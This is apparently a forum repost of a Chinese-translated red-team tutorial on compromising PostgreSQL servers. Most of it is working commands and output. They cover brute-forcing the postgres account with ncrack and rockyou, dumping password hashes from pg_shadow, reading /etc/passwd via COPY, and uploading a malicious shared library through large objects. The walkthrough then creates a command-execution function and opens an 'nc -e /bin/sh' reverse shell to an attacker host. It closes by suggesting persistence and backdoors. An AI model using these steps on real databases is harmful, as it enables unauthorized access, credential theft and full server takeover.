PostgreSQL是一个流行的开源关系数据库,具有广泛的平台支持。您可以在各种POSIX操作系统以及Windows上找到它。根据系统的配置,Postgres可以成为红队利用的宝贵资源。了解基础知识非常重要。那么让我们开始攻击PostgreSQL吧!

服务发现

Nmap是一个适合服务发现的扫描程序。我们可以很容易地选择massscanunicornscan,但最简单的nmap命令通常是发现Postgres目标所需的全部内容。(在这个例子中,我们将针对一台名为的计算机sqlserver,)

$ nmap sqlserver

Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-11 08:42 UTC
Nmap scan report for sqlserver (172.16.65.133)
Host is up (0.0000020s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

此时,我们已经验证了目标是否存在,并且有一个PostgreSQL服务正在运行并暴露。

服务访问

我们可以使用许多不同的方法来访问机密服务。运气好的话可能存在某些共享文件夹或其他不安全配置; 但有时我们没那么幸运。常常需要爆破密码,但是有很多工具可以使用,比如Hydra,Medusa,Metasploit等工具,但我们将延演示使用ncrack

首先,我们将尝试使用Rockyou breach列表攻击默认帐户postgres。在Kali Linux中,Rockyou列表是开箱即用的(您可以在/usr/share/wordlists/rockyou.txt.gz找到它)。由于我在这个示例中使用的是Kali,所以在使用它之前,我们首先需要解压缩归档文件。

$ gunzip /usr/share/wordlists/rockyou.txt.gz

接下来,我们将尝试通过ncrack对PostgreSQL服务发起攻击。指定要攻击的服务(psql://),目标(sqlserver),我们想要定位的用户(postgres),以及我们要为密码字典(rockyou.txt)。

$ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt

Starting Ncrack 0.5 ( http://ncrack.org ) at 2019-02-11 09:24 UTC

Discovered credentials for psql on 172.16.65.133 5432/tcp:
172.16.65.133 5432/tcp psql: 'postgres' 'airforce'

Ncrack done: 1 service scanned in 69.02 seconds.

Ncrack finished.

在此示例中,我们爆破出了用户的凭据。

有了凭证,我们可以使用psqlcli连接到我们的目标远程数据库。

$ psql --user postgres -h sqlserver
Password for user postgres:
psql (9.6.2)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=#

成功!

服务侦察

现在我们有了访问权限,就要进行一些信息收集。首先列举可用的用户和角色。

postgres=# \du
                                   List of roles
 Role name |                         Attributes                         | Member of
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

postgres=# select usename, passwd from pg_shadow;
 usename  |               passwd
----------+-------------------------------------
 postgres | md5fffc0bd6f9cb15de21317fd1f61df60f
(1 row)

接下来,列出可用的数据库和表。

postgres=# \l
                              List of databases
   Name    |  Owner   | Encoding | Collate |  Ctype  |   Access privileges
-----------+----------+----------+---------+---------+-----------------------
 postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
 template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
 template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
(3 rows)

postgres=# \dt
No relations found.

命令执行

Postgres抽象了某些系统级别的函数,它将这些函数公开。例如,我们可以很容易地发现工作目录的内容,使用以下方法:

postgres=# select pg_ls_dir('./');
    pg_ls_dir
----------------------
PG_VERSION
base
global
pg_clog
pg_commit_ts
pg_dynshmem
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postgresql.auto.conf
postmaster.pid
postmaster.opts
(21 rows)

我们可以更进一步,阅读这些文件的内容。

postgres=# select pg_read_file('PG_VERSION');
 pg_read_file
--------------
 9.6         +

(1 row)

我们还可以选择我们想要开始读取的偏移量,以及我们想要读取的字节数。例如,让我们读取postgresql.auto.conf末尾附近的特定12个字节。

postgres=# select pg_read_file('postgresql.auto.conf', 66, 12);
 pg_read_file
--------------
 ALTER SYSTEM
(1 row)

但是这个pg_read_file()功能有局限性。

postgres=# select pg_read_file('/etc/passwd');
ERROR:  absolute path not allowed
postgres=# select pg_read_file('../../../../etc/passwd');
ERROR:  path must be in or below the current directory

我们还可以在其中创建一个新表和COPY磁盘上的文件内容。然后,我们可以查询表以查看内容。

postgres=# create table docs (data TEXT);
CREATE TABLE
postgres=# copy docs from '/etc/passwd';
COPY 52
postgres=# select * from docs limit 10;
                       data
---------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
(10 rows)

获得反向shell

所以现在我们可以访问我们的服务,我们可以从磁盘上的文件中读取。现在是时候看看我们是否可以得到反向shell。

Metasploit的有一个相当不错的payload

[Dionach]有一个很棒的小库,他们编写了一个名为pgexec()的函数,pgexec需要针对与正在运行的Postgres实例相同的主要和次要版本进行编译。

postgres=# select version();

但他也为许多常见版本提供了预构建的二进制文件。我们尝试其中一个。

$ curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so

现在我们有了库,但是如何将其传递到目标呢?幸运的是,我们可以在Postgres中生成loid来存储这些数据,然后尝试将其写入磁盘。

postgres=# select lo_creat(-1);
 lo_creat
----------
    16391
(1 row)

记下生成的lo_creat ID。您将在下面的示例中使用此功能。

但是,这里有一个警告。LOID条目最多可以是2K条,因此我们需要修改payload。我们可以在我们的bash shell中执行此操作(只需确保使用一些工作目录,因为您正在使用psql。)

$ split -b 2048 pg_exec.so

现在我们可以编写我们需要的SQL语句脚本来上传这个payload的所有部分。在这个例子中,我们将它们全部输入到一个名为的文件中upload.sql。请记住${LOID}使用之前抓取的ID 替换。

$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql

有了我们的SQL文件,我们可以将这些语句直接从磁盘包含到psql中。(同样,这假设upload.sql与psql位于同一个工作目录中。)

postgres=# \include upload.sql
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1

最后,我们将LOID保存到磁盘。(更改16391以匹配您的LOID。)

postgres=# select lo_export(16391, '/tmp/pg_exec.so');
 lo_export
-----------
         1
(1 row)

使用我们刚刚复制到磁盘的库创建新函数。

postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;
CREATE FUNCTION

现在我们应该能够对目标执行远程命令。pg_exec()不会显示输出,所以我们只是运行一些盲命令来设置我们的shell。

首先,确保本地计算机上有一个监听器。从另一个shell窗口,我们可以使用Ncat或Netcat进行设置。

$ nc -l -p 4444

执行反向shell。

postgres=# select sys('nc -e /bin/sh 172.16.65.140 4444');

我们现在应该有一个活跃的反向shell。但是,为了使它更加完善,我们需要生成一个TTY。很多方法可以做到这一点,但我将使用Python。它很普遍,效果很好。

python -c 'import pty; pty.spawn("/bin/sh")'
$

成就解锁!

特权升级

如果你很幸运,PostgreSQL以root身份运行,你现在可以完全控制目标。如果没有,您只有一个无特权的shell,您需要升级。我不会在这里讨论,但有很多方法可以尝试这一点。首先,我建议设置持久性。也许创建一个预定的作业来打开远程shell,以防断开连接?或某种后门服务。确切的方法将根据目标进行定制。完成后,您可以处理您的后期开发重新调整,可能是一些内核漏洞,并从那里进行转移。

希望本文能帮助您更深入地了解在您的参与过程中利用PostgreSQL。快乐的黑客!

原文地址:https://www.unix-ninja.com/p/postgresql_for_red_teams

点击收藏 | 1 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖